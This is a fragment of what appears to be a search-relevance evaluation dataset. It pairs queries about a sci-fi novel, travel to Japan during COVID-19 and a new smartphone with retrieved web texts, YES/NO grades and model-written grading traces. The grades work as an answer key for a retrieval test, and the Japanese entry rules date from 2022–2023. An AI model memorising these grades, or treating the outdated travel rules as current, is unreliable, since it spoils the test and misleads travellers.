                "text": "746 reviews3,433 followers     November 13, 2022   Take a short glimpse into a disturbing, designer baby, illegal black genetic engineering lab, body horror accelerating, future. Is biopunk still to come or already there?With visionary power, Change agent imagines a 21st century most likely to come in many places, using some extremely interesting plot lines and settings with great brain food potential. Because it\u00b4s pretty new land, there are endless trope and plotting options for both intuitive and planning writers, social sci-fi with characters, hard sci-fi with real, future, and completely fantastic tech, and why not a biopunk focused space opera without much physics and electricity addicted technology, instead imagining the different fractions that could develop heavily biopunked over centuries and millennia on earth or elsewhere. Visualize this in the year 10.000My ultimate dream would be a nano biopunk hybrid novel or series in this style, again completely new land, using all the amazing tropes and ideas sci-fi has offered over the decades in context with these 2 most important disruptive future key technologies, genetic engineering and nano/ quantum technology. It\u00b4s of course also the readers\u00b4 and book market\u00b4s fault that such new experimentations, that aren\u00b4t including the full, expected sci-fi package, are nothing a writer would bet his success on. The hard sci-fi part is generally a niche market and social sci-fi is just lifting off, nobody wants to risk too much, but hey, hundreds of ideas that could be reimagined, combined, extended, and lead to first, new reading experiments should motivate the one or other aspiring author. Love and relationship topics alone could be used for dozens of new, first time pairings, opening the cold, plot based, template stereotype character, worldbuilding, info dump, male hard sci-fi for emotional, real, female author\u00b4s protagonist descriptions. Could have been betterBack to the show, this one doesn\u00b4t feel as great as some of other of Suarez\u00b4 works, I deem that he simply ",
                "model_trace": "Query Decomposition:\n1. {Early reviews and commentary}: The document contains a review of the book \"Change Agent\" by Daniel Suarez -> ([1], SATISFIED)\n2. {From respected science fiction critics and publications}: The review appears to be from a user on Goodreads, not from a professional critic or a respected publication -> ([1], UNSATISFIED)\n\nAssessment: While the document does provide a review of the book, it does not fulfill the requirement of being from respected science fiction critics or publications. Therefore, it does not fully meet the user's intent. NO."
            }
        ]
    },
    {
        "query": "I'm planning a trip to Japan next month and I'm looking for the latest news on travel restrictions, COVID-19 protocols, and any other important information I should know before booking my flights and accommodations. I need to make sure I have the most up-to-date information to ensure a safe and smooth trip.",
        "grid_pos": [
            2,
            1
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a diverse range of topics, including:\n1. A major political scandal, requiring objective news coverage to understand the key details and competing narratives.\n2. A new science fiction novel release, needing reviews and commentary from respected critics.\n3. Travel information for an upcoming trip to Japan, requiring the latest news on restrictions and protocols.\n4. The launch of a new flagship smartphone, needing expert analysis of its features and performance.\n5. A major environmental disaster, requiring the latest news updates on the scale, response, and potential long-term impacts.\n\nThese queries are specific, detailed, and require a deep understanding of the context to provide satisfactory answers. They test Exa's capabilities in handling complex, nuanced information needs across a variety of domains."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "COVID-19: Practical Information for Traveling to Japan | Travel Japan\uff08Japan National Tourism Organization\uff09",
                "url": "https://www.japan.travel/en/practical-coronavirus-information/",
                "published_date": "2023-01-13",
                "text": "COVID-19: Practical Information for Traveling to Japan\n\nExplore and discover with peace of mind\n\nLast updated: Friday, 13 January 2023\n We welcome you to visit Japan\n A dip in a secluded mountain hot spring, a stroll through a picture-perfect temple garden, a steaming bowl of ramen at a hole-in-the-wall noodle shop; get ready to make your Japan dreams a reality. We look forward to welcoming you soon!\n\nGet ready to make your Japan dreams a reality!\n Konnichiwa from some of our most iconic destinations. We look forward to seeing you again soon.\n\nJapan Now\n From the delicate pink cherry blossoms in spring to the fiery colors of autumn and the snow covered peaks of winter, the seasons continue to bring beauty. Take a peek to see what it's like in Japan right now.\n\nNew Times, New Ways to Enjoy Japan\n Let curiosity be your guide, and find your own piece of Japan.\n\nEnjoy the outdoors at one of Japan's 34 amazing national parks\n More Info\n\nShikoku, Shimane, Sendai or somewhere else\u2014explore new destinations\n More Info\n\nBrowse our stories and guides for some fresh ideas\n More Info\n\nRelax: Make your next vacation about you\n More Info",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document does not provide specific information about current travel restrictions -> ([0], UNSURE)\n2. {COVID-19 protocols}: The document does not provide detailed COVID-19 protocols -> ([0], UNSURE)\n3. {important information for booking flights and accommodations}: The document does not provide specific information about booking flights and accommodations -> ([0], UNSURE)\n4. {up-to-date information}: The document was last updated on January 13, 2023, which may not be the most current information -> ([2], UNSURE)\n\nAssessment: The document does not satisfy the key subcomponents related to travel restrictions, COVID-19 protocols, or booking information. The date of the last update is also not recent enough to ensure the most up-to-date information. NO."
            },
            {
                "grade": "YES",
                "title": "Please check here before visiting Tokyo -Information for protecting yourself and others-",
                "url": "https://www.gotokyo.org/en/plan/coronavirus-information/index.html",
                "published_date": "2022-12-12",
                "text": "As Japan reopens to international travel, it's important that everyone takes precautions to prevent the spread of COVID-19. In order to enjoy your trip to Japan while keeping safe, please check the following information from the Government of Japan and the Tokyo Metropolitan Government, the initiatives against COVID-19 taken by various service providers, and some requests for travelers. Review this information in advance while planning your trip.\n\nPlanning a Visit to Japan \n Important Information After Entering Japan \n Facilities that are Safe to Use \n Initiatives by Transportation Systems \n COVID-19 information from the Japanese government and the Tokyo Metropolitan Government\n\nPlanning a Visit to Japan \nProcedures for travelers entering Japan according to the Quarantine Act vary by country or region of origin as well as the purpose of your visit. For the latest information, please visit the official website.\n\nJapanese Border Measures \n Measures for Resuming Cross-Border Travel \n To Anyone Entering/Returning to Japan \n Visit Japan Web \n Practical Information for Traveling to Japan\n\nThis leaflet lists measures that travelers are asked to take to prevent the spread of infection:\n\nNew Travel Etiquette for Visitors (leaflet)\n\nThese pictograms can be posted on noticeboards and other places to remind individuals what they can do to prevent the spread of infection:\n\nInfection prevention pictograms\n\nTo ensure that you have a safe trip, please check the following information on basic precautions to prevent the spread of infection:\n\nMask Use in Community Settings\n\nImportant Information After Entering Japan \nVarious infection prevention measures must be followed after entering Japan. Those required to quarantine should be aware of the rules during that period. Check the link below for the latest information.\n\nImportant notes after entering Japan\n\nUsing Transportation Systems\nWhen using an airline, railway, bus, taxi, or passenger ship, check the COVID-19 measures taken by the relevant transportation service, such as wearin",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document provides information on travel restrictions and measures for resuming cross-border travel -> ([1], SATISFIED)\n2. {COVID-19 protocols}: The document discusses various COVID-19 protocols, including mask use, infection prevention measures, and quarantine rules -> ([1], SATISFIED)\n3. {other important information for booking flights and accommodations}: The document includes practical information for traveling to Japan, initiatives by transportation systems, and facilities that are safe to use -> ([1], SATISFIED)\n4. {most up-to-date information}: The document was published in December 2022, which is relatively recent, but it does not explicitly state it is the most up-to-date -> ([2], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to travel restrictions, COVID-19 protocols, and other important information for booking flights and accommodations. Although it is not explicitly clear if it is the most up-to-date information, it is recent enough to be considered relevant.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "For Travelers | COVID-19: New Normal Travel in Japan | Travel Japan\uff08Japan National Tourism Organization\uff09",
                "url": "https://www.japan.travel/en/practical-coronavirus-information/travelers/",
                "published_date": "2022-11-01",
                "text": "For Travelers\n\nProcess Map and Checklist\n\nLast updated: Tuesday, 31 January 2023\n\nGet ready for your dream trip to Japan! Japan is now open to travelers from all countries or regions with a valid vaccination certificate or a Covid-19 negative test certificate (the test must be conducted within 72 hours prior to your scheduled departure time).\n\nProcess Map\n\n-\n\nChecklist for Travelers\n\nBefore Departure\n\n\u2610 Check Your Visa Requirement\n\nFrom 11th October, pre Covid-19 visa exemption arrangements are resumed. Please refer to MOFA website for more details. Prescribed applications in the Entrants, Returnees Follow-up Systems (ERFS) are no longer required.\n\n\u2610 Get a Valid Vaccination Certificate or a Covid-19 Negative Test Certificate\n\nAll entrants must get either a valid vaccination certificate or a Covid-19 negative test certificate before departure. A Covid-19 test must be conducted within 72 hours prior to your scheduled departure time. Note that the 72-hour window is counted from the time your sample is taken, not from the time you receive your results. For more information, please refer to the following pages. Valid COVID-19 Vaccination Certificate: https://www.mhlw.go.jp/stf/covid-19/border_vaccine.html Covid-19 Negative Test Certificate: https://www.mhlw.go.jp/stf/covid-19/border_test.html If children (under the age of 18) do not have a valid vaccination certificate... -If their accompanying guardian who will supervise the children has a valid vaccination certificate, the children will be treated as holders of valid vaccination certificates. (Therefore the submission of negative certificates is exempted the same as the guardian as an exception.)-If their accompanying guardian does not have a valid vaccination certificate and enters Japan with a negative certificate, preschool-aged children (generally under the age of 6) are not required a negative certificate. (Children aged 6 and over need a negative certificate.) -If children without a valid vaccination certificate enter Japan alone, they are not eligible for the",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document contains up-to-date information on travel restrictions, such as the requirement for a valid vaccination certificate or a COVID-19 negative test certificate -> ([1], SATISFIED)\n2. {COVID-19 protocols}: The document details COVID-19 protocols, including testing and vaccination requirements -> ([1], SATISFIED)\n3. {important information for booking flights and accommodations}: The document provides essential information like visa requirements and the need for COVID-19 certificates, which are crucial for booking flights and accommodations -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "Border measures to prevent the spread of novel ...",
                "url": "https://www.mofa.go.jp/ca/fna/page4e_001053.html",
                "published_date": null,
                "text": "January 10, 2023\n \n \n  Information about entering into Japan\n\tNew entry of foreign nationals\n\tRegarding new entry of foreign nationals into Japan, based on the New Border Measures (34) dated on September 26, 2022, prescribed applications in the Entrants, Returnees Follow-up Systems (ERFS) is no longer required. In addition, the measure to limit the entry of foreign tourists to those on package tours was lifted.\n\tFurthermore, visa exemption arrangements have been resumed from 0:00 am (JST) on October 11, 2022. Please refer to 5. Lift of the suspension of visa exemption measures for more details.\n\tSuspension of visa validity under the border measures has been also lifted from 0:00 am (JST) on October 11, 2022. Please refer to 4. Lift of the suspension of visa validity below for further information. \n\tQuarantine measures:\n\tFrom 0:00 am (JST) on December 30, 2022, all travelers and returnees who have stayed in China (except Hong Kong and Macau) within 7 days prior to the entry and all travelers and returnees coming from China (except Hong Kong and Macau) by direct flight will be required to take on-arrival test at the quarantine station. In addition, from 0:00 am (JST) on January 8, 2023, all travelers and returnees coming from China (except Hong Kong and Macau) by direct flight will be required to submit a certificate of negative result of pre-departure COVID-19 test conducted within 72 hours prior to departure with or without a vaccination certificate.\n\tFrom 0:00 am (JST) on January 12, 2023, all travelers and returnees coming from Macau by direct flight will be required to take on-arrival test at the quarantine station and to submit a certificate of negative result of pre-departure COVID-19 test conducted within 72 hours prior to departure with or without a vaccination certificate. (NEW) \n\tBased on the New Border Measures (34), for all cross-border travelers and returnees from countries/regions where the B.1.1.529 Omicron variant becomes dominant (all countries/regions except for those where COVID-19 variants othe",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document provides information on travel restrictions, including new entry measures and quarantine protocols as of January 2023 -> ([1], SATISFIED)\n2. {COVID-19 protocols}: The document details specific COVID-19 protocols for travelers, including testing requirements and quarantine measures -> ([1], SATISFIED)\n3. {important information before booking flights and accommodations}: The document includes crucial information regarding visa exemptions, entry requirements, and COVID-19 testing which are important for booking flights and accommodations -> ([1], SATISFIED)\n4. {most up-to-date information}: The document is dated January 10, 2023, which is relatively recent but does not confirm if it is the latest available information -> ([2], UNSURE)\n\nAssessment: The document satisfies all the key subcomponents that can be evaluated based on the provided information. The information is recent and relevant to travel plans for next month. YES"
            },
            {
                "grade": "YES",
                "title": "Planning a Trip to Japan: DOs & DON'Ts (2024)",
                "url": "https://www.neverendingvoyage.com/planning-a-trip-to-japan/",
                "published_date": null,
                "text": "This page contains affiliate links. Please read our disclosure for more info.\n This post is based on an amazing guide our friend Amy Dunn-Cham compiled us full of her Japan tips on how to plan a trip to Japan years ago. We have since visited Japan four times and update this post regularly with what we\u2019ve learnt. \nAh Japan, irasshaimase! Welcome to the land where everything just works. The land of convenience, the land of delicious food, paradox, naked strangers, and where respect permeates through every part of society and culture.\nIn Japan the food can be described as clean and minimalist, but never simple, which probably sums up Japan as a whole. It\u2019s a place that both lives up to, and out does, any expectation you have upon arrival.\nUh-huh, they have the fastest, sleekest, most efficient trains (ever!), but they still have paper posters pegged up on their Tokyo subway. Yeah, they have amazing futuristic architecture, but they also have countless traditional wooden buildings in amongst it all.\u00a0\nYes, they have the busiest people crossing in the world (Shibuya), but at no point is it ever chaotic, no need for anyone to bang on a cab screaming, \u201cHey, I\u2019m walking here!\u201d.\u00a0\nYes, they have scores of scarily trendy, funkily clad young people who like to cosplay on weekends, but they also have evening family outings to sentos (public bathhouses).\nIn this Japan travel guide, we\u2019ll help you make sense of it all and share our best tips for planning a trip to Japan.\n \nContents   Update: Japan Travel Restrictions 2023   When to Visit Japan   How Long to Spend in Japan   Video: Best Japan Destinations   Before Your Japan Trip   General Dos and Don\u2019ts in Japan   Top Japan Destinations   More Japan Tips  \nJapan finally reopened to independent international tourists on 11 October 2022.\nVisa waivers are reinstated so many nationalities (including the US and UK) don\u2019t need to apply for a visa. \nTo enter Japan you will need to show proof you have been vaccinated three times OR show a negative covid test result taken within 72 hours",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document mentions travel restrictions and updates about Japan reopening to international tourists, so it is likely to contain relevant information -> ([1], SATISFIED)\n2. {COVID-19 protocols}: The document mentions vaccination and testing requirements to enter Japan -> ([1], SATISFIED)\n3. {important information for booking flights and accommodations}: The document provides general tips and advice for planning a trip to Japan, which can be helpful for booking flights and accommodations -> ([1], SATISFIED)\n4. {most up-to-date information}: The document claims to be updated regularly but does not provide a specific publication date -> ([2], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to travel restrictions, COVID-19 protocols, and general trip planning information. Although the exact date of the latest update is not provided, the content appears to be relevant and useful for planning a trip to Japan. YES."
            },
            {
                "grade": "YES",
                "title": "For Travelers | COVID-19",
                "url": "https://www.japan.travel/en/practical-coronavirus-information/travelers/",
                "published_date": null,
                "text": "For Travelers\n \n \n Process Map and Checklist\n \n \n \n \n \n \n \n Last updated: Tuesday, 31 January 2023\n \n  Get ready for your dream trip to Japan! Japan is now open to travelers from all countries or regions with a valid vaccination certificate or a Covid-19 negative test certificate (the test must be conducted within 72 hours prior to your scheduled departure time). \n \n \n \n \n \n Process Map\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n -\n \n  Checklist for Travelers\n \n \n \n \n Before Departure\n \n \n \n \n \u2610 Check Your Visa Requirement\n \n \n \n \n \n From 11th October, pre Covid-19 visa exemption arrangements are resumed. Please refer to MOFA website for more details. Prescribed applications in the Entrants, Returnees Follow-up Systems (ERFS) are no longer required.\n \n \n \n \u2610 Get a Valid Vaccination Certificate or a Covid-19 Negative Test Certificate\n \n \n \n \n \n  All entrants must get either a valid vaccination certificate or a Covid-19 negative test certificate before departure. A Covid-19 test must be conducted within 72 hours prior to your scheduled departure time. Note that the 72-hour window is counted from the time your sample is taken, not from the time you receive your results. For more information, please refer to the following pages. Valid COVID-19 Vaccination Certificate:  https://www.mhlw.go.jp/stf/covid-19/border_vaccine.html Covid-19 Negative Test Certificate:  https://www.mhlw.go.jp/stf/covid-19/border_test.html    If children (under the age of 18) do not have a valid vaccination certificate... -If their accompanying guardian who will supervise the children has a valid vaccination certificate, the children will be treated as holders of valid vaccination certificates. (Therefore the submission of negative certificates is exempted the same as the guardian as an exception.)-If their accompanying guardian does not have a valid vaccination certificate and enters Japan with a negative certificate, preschool-aged children (generally under the age of 6) are not required a negative certificate. (Children aged 6 and over need a negative ce",
                "model_trace": "Query Decomposition:\n1. {latest news on travel restrictions}: The document provides information on current travel restrictions, including the need for a valid vaccination certificate or a COVID-19 negative test certificate -> ([1], SATISFIED)\n2. {COVID-19 protocols}: The document details COVID-19 protocols, such as the requirements for vaccination and testing -> ([1], SATISFIED)\n3. {important information before booking flights and accommodations}: The document includes a checklist for travelers and information on visa requirements, which are important for planning the trip -> ([1], SATISFIED)\n4. {most up-to-date information}: The document was last updated on January 31, 2023, which is relatively recent -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the key subcomponents relevant to the user's query. YES."
            }
        ]
    },
    {
        "query": "A major tech company has just unveiled their latest flagship smartphone, boasting advanced camera capabilities, a sleek new design, and impressive battery life. I want to read the latest news coverage and expert analysis of the phone's features, performance, and how it compares to competing models on the market.",
        "grid_pos": [
            2,
            1
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries cover a diverse range of topics, including:\n1. A major political scandal, requiring objective news coverage to understand the key details and competing narratives.\n2. A new science fiction novel release, needing reviews and commentary from respected critics.\n3. Travel information for an upcoming trip to Japan, requiring the latest news on restrictions and protocols.\n4. The launch of a new flagship smartphone, needing expert analysis of its features and performance.\n5. A major environmental disaster, requiring the latest news updates on the scale, response, and potential long-term impacts.\n\nThese queries are specific, detailed, and require a deep understanding of the context to provide satisfactory answers. They test Exa's capabilities in handling complex, nuanced information needs across a variety of domains."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Looking Underneath the Samsung S22 and S22Ultra Smartphones",
                "url": "https://www.designnews.com/consumer-electronics/looking-underneath-samsung-s22-and-s22ultra-smartphones",
                "published_date": "2022-06-24",
                "text": "Image courtesy of Fifg / Alamy\n\nThe S22Ultra is one of Samsung's high-end smartphones.\n\nThis side-by-side teardown video from iFixit compares the features of the popular Samsung S22 and S22Ultra smartphones.\n\nWhile Apple\u2019s iPhones usually grab the lion\u2019s share of attention when they are introduced, rival Samsung continues to keep pace by introducing full-featured, thin-profile smartphones that use the Android operating system. One of the most-heralded Samsung smartphones is the S22Ultra, whose design resembles the company\u2019s older Note, the Samsung phone that made the large format smartphone popular.\nThe S22Ultra also has a less expensive companion, the S22, which shares the Ultra\u2019s processor, but sacrifices a few features in order to shave down the cost.\nHow do both phones compare? In this side-by-side video comparison, iFixit takes apart both phones and examines their features and specifications. The video gets down to the nitty gritty, examining the phones\u2019 construction, thermal management, and repairability ease, which presents a mixed picture.\nClick here to view the video.",
                "model_trace": "Query Decomposition:\n1. {latest news coverage}: The document does not provide news coverage; it focuses on a teardown video -> ([1], UNSATISFIED)\n2. {expert analysis of the phone's features}: The document includes a teardown video from iFixit, which can be considered expert analysis of the phone's features -> ([1], SATISFIED)\n3. {performance}: The document does not mention performance analysis -> ([1], UNSATISFIED)\n4. {comparison to competing models}: The document compares the S22 and S22Ultra but does not compare them to competing models -> ([1], UNSATISFIED)\n\nAssessment: The relevant subcomponent {expert analysis of the phone's features} is satisfied, but the other key subcomponents are not. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "Huawei Nova 10 features new camera design - Huawei Central",
                "url": "https://www.huaweicentral.com/huawei-nova-10-features-new-camera-design-with-50mp-ryyb-main-lens/",
                "published_date": "2022-06-23",
                "text": "Phones \n Huawei Nova 10 features new camera design with 50MP RYYB main lens\n\nShare\n\nTweet\n\nHuawei Nova 10 series will come with a new camera design that has a 50MP main lens. The rear side of this phone has a vertically placed array of three cameras. The middle one is highlighted with a large golden ring, while the other two are arranged on top and another one is on the bottom. Compared to this, Huawei Nova 9 had a dual ring camera design, which consist of two ring camera system as well as a quad rear camera arrangement.\n\nAs compared to Huawei Nova 10, the camera design of the Nova 9 brings in the main camera on the first ring and a highlighter ring. The bottom ring boasts three cameras along with an LED flash.\n\nHuawei Nova 10 Pro also has an RYYB color matrix that helps to take bright images in low-light situations by passing more light to the sensor.\n\nHuawei Nova 9 Pro camera specifications:\nHuawei Nova 9 Pro features a Rear 50-megapixel RYYB super-sensing quad-camera including a 50MP Ultra vision camera (f/1.9 aperture), 8-megapixel ultra-wide-angle camera (f/2.2 aperture), 2MP depth-of-field camera (f/2.4 aperture) and a 2-megapixel macro camera (f/2.4 aperture).\nThe 50-megapixel super-sensing main camera introduces Huawei\u2019s flagship RYYB super-sensing color filter array, which increases the light input by 40% compared to the traditional RGGB. The new Huawei XD Fusion Engine helps you to take high-quality and brightness-rich pictures even in low light conditions.\n Front:\nHuawei Nova 10 Pro also has the same wide cutout as the Huawei Nova 9 Pro and is likely to retain the same camera system. Huawei Nova 9 Pro front pill shape camera equips dual selfie cameras consisting of a 32-megapixel ultra-wide-angle camera (f/2.4 aperture) and a 32-megapixel portrait camera (f/2.0 aperture).\n\nRead more about the Huawei Nova 10 Pro in the article linked below.\n Huawei Nova 10 Pro design appears in leaked posters\n\nMost of Deng Li's smartphones are from the Huawei ecosystem and his first Huawei phone was Ascend Mate 2 (4G). ",
                "model_trace": "Query Decomposition:\n1. [latest news coverage]: The document provides recent news about the Huawei Nova 10's camera design and features -> ([1], SATISFIED)\n2. [expert analysis of the phone's features]: The document provides detailed information about the camera features but lacks comprehensive expert analysis on overall features -> ([1], UNSATISFIED)\n3. [performance]: The document does not provide information on the phone's performance -> ([0], UNSURE)\n4. [comparison to competing models]: The document does not compare the Huawei Nova 10 to other models on the market -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent related to providing the latest news coverage but does not provide expert analysis of the phone's features. Since the subcomponents related to performance and comparison to competing models are tagged [0], they should not affect the evaluation. However, the lack of expert analysis makes the document unhelpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Vivo X80 Pro VS Samsung Galaxy S22 Ultra: Camera comparison - in Images | Check who scores better",
                "url": "https://www.zeebiz.com/technology/mobiles/news-vivo-x80-pro-vs-samsung-galaxy-s22-ultra-camera-comparison-in-images-check-who-scores-better-187733",
                "published_date": "2022-06-23",
                "text": "Vivo X80 Pro VS Samsung Galaxy S22 Ultra: Smartphone camera technology is evolving on daily basis. Nowadays, people are depending on the smartphones to capture the everyday moments. Recently, two major smartphone brands Samsung and Vivo brought camera centric premium Android Mobile phones in India - Samsung Galaxy S22 Ultra and Vivo X80. One of the major selling point of Samsung Galaxy S22 Ultra and Vivo X80 is the camera specifications they offer.\nBoth Samsung Galaxy S22 Ultra and Vivo X80 Pro come with top-end features. As these smartphones are popular for mobile photography and the company claims to offer flagship camera experience, this definitely calls for a comparison and I have exactly done that based on the price, camera features, specifications, and more.\n Let's start with Vivo X80 Pro \nBack in December 2020, Vivo announced the strategic partnership with Zeiss, to jointly promote and develop breakthrough innovations in mobile imaging technology for its flagship smartphones. This partnership signifies a perfect blend of Zeiss's unique imaging expertise and Vivo's technological prowess in developing immaculate smartphone cameras. The smartphone brand brought its first Zeiss-backed mobile - Vivo X60 series in 2021 and it showed other brand how an Android phone can produce images without any compromises. \nAfter the success of Vivo X60 and X70 series globally because of its camera performance, Vivo recently launched X80 series --X80 and X80 Pro. Vivo X80 Pro priced at Rs 79,999 (12GB+256GB is available in Cosmic Black color. The Vivo X80 Pro feels quite premium and looks elegant. The Vivo X80 Pro, the flagship phone from the brand, comes with several Zeiss enhancements. Furthermore, it features industry\u2019s first Zeiss Gimbal Portrait Camera, 360-degree Horizon Level Stabilization, 50 MP Ultra Sensing IMX866 Sensor powered by unrivalled performance of Pro-Imaging V1+ Chip.\nThe Vivo X80 Pro features a quad rear camera setup, including a 50MP Samsung ISOCELL GNV primary sensor, a 48MP ultra-wide Sony IMX598 shoot",
                "model_trace": "Query Decomposition:\n1. [latest flagship smartphone]: The document discusses two flagship smartphones, the Vivo X80 Pro and the Samsung Galaxy S22 Ultra -> ([1], SATISFIED)\n2. [advanced camera capabilities]: The document provides a detailed comparison of the camera capabilities of both smartphones -> ([1], SATISFIED)\n3. [sleek new design]: The document briefly mentions the premium feel and elegant look of the Vivo X80 Pro but does not go into detail about the design -> ([2], UNSURE)\n4. [impressive battery life]: The document does not mention battery life -> ([0], UNSURE)\n5. [latest news coverage]: The document is relatively recent (published in 2022) and provides a comparison of the latest models -> ([1], SATISFIED)\n6. [expert analysis of the phone's features and performance]: The document provides an analysis of camera features and performance, but not other features -> ([2], SATISFIED)\n7. [comparison to competing models]: The document compares the Vivo X80 Pro to the Samsung Galaxy S22 Ultra -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are [latest flagship smartphone], [advanced camera capabilities], [latest news coverage], [expert analysis of the phone's features and performance], and [comparison to competing models]. All these subcomponents are satisfied.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "The Truth About The Samsung Galaxy S24 Ultra - 2 Months ...",
                "url": "https://www.youtube.com/watch?v=wWR7yLPu14M",
                "published_date": null,
                "text": "\u25baMarshall Middleton Speaker: https://www.marshallheadphones.com/gb/en/middleton.html\nSamsung Galaxy S24 Ultra In-Depth Review after Two Months. Covering Cameras, Software Update, Display, Design, Snapdragon 8 Gen 3 Performance, Battery Life & Price.\n\u25baBUY Samsung Galaxy S24 Ultra - https://howl.me/clRv5bhwXZ6\n\u25ba\u25ba\u25baSUBSCRIBE for more: https://www.youtube.com/SuperSaf\n\u25baRelated Videos:\nSamsung Galaxy S24 vs S24 Plus vs S24 Ultra - https://youtu.be/ERGJeYHn94g\nSamsung Galaxy S24 Ultra vs iPhone 15 Pro Max Camera Test Comparison - https://youtu.be/jY3m6g5ThwU\nSamsung Galaxy S24 vs S24 Plus vs S24 Ultra - https://youtu.be/ERGJeYHn94g\nSamsung Galaxy S24 Ultra vs iPhone 15 Pro Max: https://youtu.be/pUnk1GdzSAg\n\u25baChapters:\n0:00 - Intro\n0:30 - Display\n3:45 - Build & Design\n5:05 - Speakers\n6:27 - Cameras\n9:25 - Software, Update and AI\n14:19 - Spen\n14:39 - Battery Life\n16:21 - Performance\n16:49 - Price\n16:47 - Price\n17:06 - Conclusion\nSamsung Galaxy S24 Ultra features a 6.8\u201d LTPO 4.0 120Hz QHD+ Dynamic AMOLED 2X display, Quad Camera with 200MP and new 50MP 5x Perisoce Zoom Camera, Laser AF, a Titanium Frame, Gorilla Glass Armor, Qualcomm Snapdragon 8 Gen 3 for Galaxy, 256/512GB/1TB UFS 4.0, 12GB LPDDR5 X RAM, 5000mAh Battery and S-Pen Support Price is from $1299/\u00a31249.\nFollow SuperSaf on:\nSuperSaf Shorts - https://www.youtube.com/SuperSafShorts\nInstagram - https://instagram.com/SuperSaf\nTwitter - https://twitter.com/SuperSaf\nTikTok - https://www.tiktok.com/@SuperSaf\nFacebook - https://www.facebook.com/SuperSaf\nYouTube - https://www.youtube.com/SuperSaf\nOfficial Website: https://www.SuperSaf.com/\n*Some links may be affiliate links where we receive compensation for purchases through those links. (It doesn\u2019t cost you extra)\n##GalaxyS24Ultra #S24Ultra #SuperSaf\n| view_count: 622,799 views | short_view_count: 622K views | num_likes: 13K | num_subscribers: 2.07 million",
                "model_trace": "Query Decomposition:\n1. {Latest news coverage and expert analysis}: The document is a YouTube video review, which can be considered a form of expert analysis -> ([1], SATISFIED)\n2. {Features of the phone}: The document covers various features such as cameras, software, design, display, performance, and battery life -> ([1], SATISFIED)\n3. {Performance of the phone}: The document specifically mentions performance aspects like the Snapdragon 8 Gen 3 -> ([1], SATISFIED)\n4. {Comparison to competing models}: The document includes links to comparison videos between the Samsung Galaxy S24 Ultra and other models like the iPhone 15 Pro Max -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides a comprehensive review of the Samsung Galaxy S24 Ultra, covering its features, performance, and comparisons with competing models.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "The Truth About The Samsung Galaxy S24 Ultra - 2 Months ...",
                "url": "https://www.youtube.com/watch?v=wWR7yLPu14M",
                "published_date": null,
                "text": "\u25baMarshall Middleton Speaker: https://www.marshallheadphones.com/gb/en/middleton.html\nSamsung Galaxy S24 Ultra In-Depth Review after Two Months. Covering Cameras, Software Update, Display, Design, Snapdragon 8 Gen 3 Performance, Battery Life & Price.\n\u25baBUY Samsung Galaxy S24 Ultra - https://howl.me/clRv5bhwXZ6\n\u25ba\u25ba\u25baSUBSCRIBE for more: https://www.youtube.com/SuperSaf\n\u25baRelated Videos:\nSamsung Galaxy S24 vs S24 Plus vs S24 Ultra - https://youtu.be/ERGJeYHn94g\nSamsung Galaxy S24 Ultra vs iPhone 15 Pro Max Camera Test Comparison - https://youtu.be/jY3m6g5ThwU\nSamsung Galaxy S24 vs S24 Plus vs S24 Ultra - https://youtu.be/ERGJeYHn94g\nSamsung Galaxy S24 Ultra vs iPhone 15 Pro Max: https://youtu.be/pUnk1GdzSAg\n\u25baChapters:\n0:00 - Intro\n0:30 - Display\n3:45 - Build & Design\n5:05 - Speakers\n6:27 - Cameras\n9:25 - Software, Update and AI\n14:19 - Spen\n14:39 - Battery Life\n16:21 - Performance\n16:49 - Price\n16:47 - Price\n17:06 - Conclusion\nSamsung Galaxy S24 Ultra features a 6.8\u201d LTPO 4.0 120Hz QHD+ Dynamic AMOLED 2X display, Quad Camera with 200MP and new 50MP 5x Perisoce Zoom Camera, Laser AF, a Titanium Frame, Gorilla Glass Armor, Qualcomm Snapdragon 8 Gen 3 for Galaxy, 256/512GB/1TB UFS 4.0, 12GB LPDDR5 X RAM, 5000mAh Battery and S-Pen Support Price is from $1299/\u00a31249.\nFollow SuperSaf on:\nSuperSaf Shorts - https://www.youtube.com/SuperSafShorts\nInstagram - https://instagram.com/SuperSaf\nTwitter - https://twitter.com/SuperSaf\nTikTok - https://www.tiktok.com/@SuperSaf\nFacebook - https://www.facebook.com/SuperSaf\nYouTube - https://www.youtube.com/SuperSaf\nOfficial Website: https://www.SuperSaf.com/\n*Some links may be affiliate links where we receive compensation for purchases through those links. (It doesn\u2019t cost you extra)\n##GalaxyS24Ultra #S24Ultra #SuperSaf\n| view_count: 622,799 views | short_view_count: 622K views | num_likes: 13K | num_subscribers: 2.07 million",
